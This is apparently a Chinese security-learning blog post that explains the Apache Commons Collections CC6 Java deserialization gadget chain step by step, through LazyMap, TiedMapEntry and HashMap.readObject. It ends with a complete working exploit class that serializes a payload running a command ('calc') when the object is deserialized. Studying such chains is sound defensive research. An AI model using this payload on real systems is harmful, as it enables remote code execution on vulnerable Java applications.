• 版本:jdk8u25
  • 依赖:Apache Commons Collections 3.1
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<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>

对cc1触发链的补充

复习一下cc1链子,我们的触发函数是ChainedTransformer.transform,而在第一次学习cc1链子的时候

我讲了一个入口,那就是AnnotationInvocationHandler类readObject函数

但在学习cc6链之前,我们需要学习一下新的入口,那就是LazyMap.get()

我们直接定位到org.apache.commons.collections.map.LazyMap这个类,查看它的get()函数,具体实现如下:

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public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

解析一下代码,传入形参key,判断map属性中是否含有key的键值,如果没有,就进入if内部

调用factory的transform函数,这里是重点,我们查看factory属性是否可控

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protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

除了两个保护构造函数之外没有任何赋值,完全可控

直接反射构造一个LazyMap即可(构造函数是protected不可调用的)

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package test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Constructor;
import java.util.Map;

public class LazyTest {
public static void main(String[] args) throws Exception{
ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class);
InvokerTransformer invokerTransformer1=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});
InvokerTransformer invokerTransformer2=new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]});
InvokerTransformer invokerTransformer3=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Transformer[] Transformers=new Transformer[]{constantTransformer,invokerTransformer1,invokerTransformer2,invokerTransformer3};
Transformer chainedTransformer =new ChainedTransformer(Transformers);
Map map=new HashedMap();
Class clazz=Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor constructor=clazz.getDeclaredConstructor(Map.class, Transformer.class);
constructor.setAccessible(true);
LazyMap o= (LazyMap) constructor.newInstance(map,chainedTransformer);
o.get("1");
}
}

那么整理一下目前的链子:

LazyMap.get->ChainedTransformer.transform->InvokeTransformer.transform

cc6链子详解

ok我们接着LazyMap往下,看看谁调用了get函数,很好2142个,完全没法找,直接步入主题T_T

我们查看org.apache.commons.collections.keyvalue.TiedMapEntry这个类,看看里面谁调用了get函数

很好就一个调用:

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public Object getValue() {
return map.get(key);
}

看看map是否可控,发现

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public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}

只有一个公有构造函数赋值,完全可控,我们再看谁调用了getValue函数

我们找到当前类下面的hashcode函数

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public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

直接调用getValue函数,我们继续往下看

寻找谁调用了hashCode()函数,嗯,918个,没法找,继续步入正题T_T

我们定位到java.util.HashMap这个类,查看他的hash函数

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static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

解析一下,输入形参key,如果key不等于null,调用key的hashcode函数

我们继续找谁调用了hash这个函数,发现readObject和put函数

readObject

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private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

解析一下这个readObject函数,如果loadFactor是数字的同时大于零继续往下执行代码,否则抛出异常

调用反序列化类的readInt,在这我们反序列化的是个hashMap,所以是获取hashMap的长度

判断长度是否大于0,否则抛出异常

然后中间是一连串的赋值,跟目标关系不大,有兴趣的自己分析

然后循环获取hashMap中的key和value,调用hash函数,,实参为key‘

ok整理一下:

  • 保证loadFactor是数字且大于0
  • 保证hashMap的大小大于0
  • 讲恶意的TiedMapEntry填入hashMap的key中

即可调用

put

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public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

直接调用hash函数

这里会遇到一个和学习cc2链子时遇到的问题

就是假如往hashMap里put恶意实例的时候,链子就提前调用了,没法反序列化

解决的方法和当时差不多但更复杂

先不把恶意LazyMap传进TiedMapEntry进去,传个不恶意的

然后把TiedMapEntry put进hashMap

put完反射修改TiedMapEntry里的参数map为LazyMap即可,接下来就是exp了

exp.java

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package test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class exp {
public static void main(String[] args) throws Exception{
ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class);
InvokerTransformer invokerTransformer1=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});
InvokerTransformer invokerTransformer2=new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]});
InvokerTransformer invokerTransformer3=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Transformer[] Transformers=new Transformer[]{constantTransformer,invokerTransformer1,invokerTransformer2,invokerTransformer3};
Transformer chainedTransformer =new ChainedTransformer(Transformers);
Map map=new HashedMap();

Class clazz=Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor constructor=clazz.getDeclaredConstructor(Map.class, Transformer.class);
constructor.setAccessible(true);
LazyMap lazyMap= (LazyMap) constructor.newInstance(map,chainedTransformer);
// lazyMap.get("1");

LazyMap lazyMap1= (LazyMap) constructor.newInstance(map,new ConstantTransformer(null));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap1,"Nebu1ea");
// tiedMapEntry.getValue();


HashMap map1=new HashMap(1,1);
map1.put(tiedMapEntry,"Nebu1ea");
map.remove("Nebu1ea");

Field field=tiedMapEntry.getClass().getDeclaredField("map");
field.setAccessible(true);
field.set(tiedMapEntry,lazyMap);

//序列化
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(map1);
objectOutputStream.close();
byte[] bytes=byteArrayOutputStream.toByteArray();


//反序列化
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();

}
}

可以看到我中间多写了一行代码:map.remove("Nebu1ea");

这有什么作用呢,我们调试一下,发现在运行完map1.put(tiedMapEntry,"Nebu1ea");之后所有的map都被加上了一个key,内容是TiedMapEntry的key属性,我们看看调试面板:

而在之前我们分析过判断map属性中是否含有key的键值,如果没有,就进入if内部,这里的map是我们LazyMap的map属性,即为前面的HashedMap实例

在他有这个key的时候是进不到if内部的,也就触发不了transform函数,所以要remove掉,至于为啥put完所有map都加上了他的键值,我还没找到原因T_T

那么整体链子为:

ObjectInputStream.readObject->HashMap.readObject->HashMap.hash->TiedMapEntry.hashcode->TiedMapEntry.getValue->LazyMap.get->ChainedTransformer.transform->InvokeTransformer.transform

结语

cc5链子要用到cc6的知识,那为啥cc6要叫cc6而不是cc5呢?

就此结束,Ciallo~~

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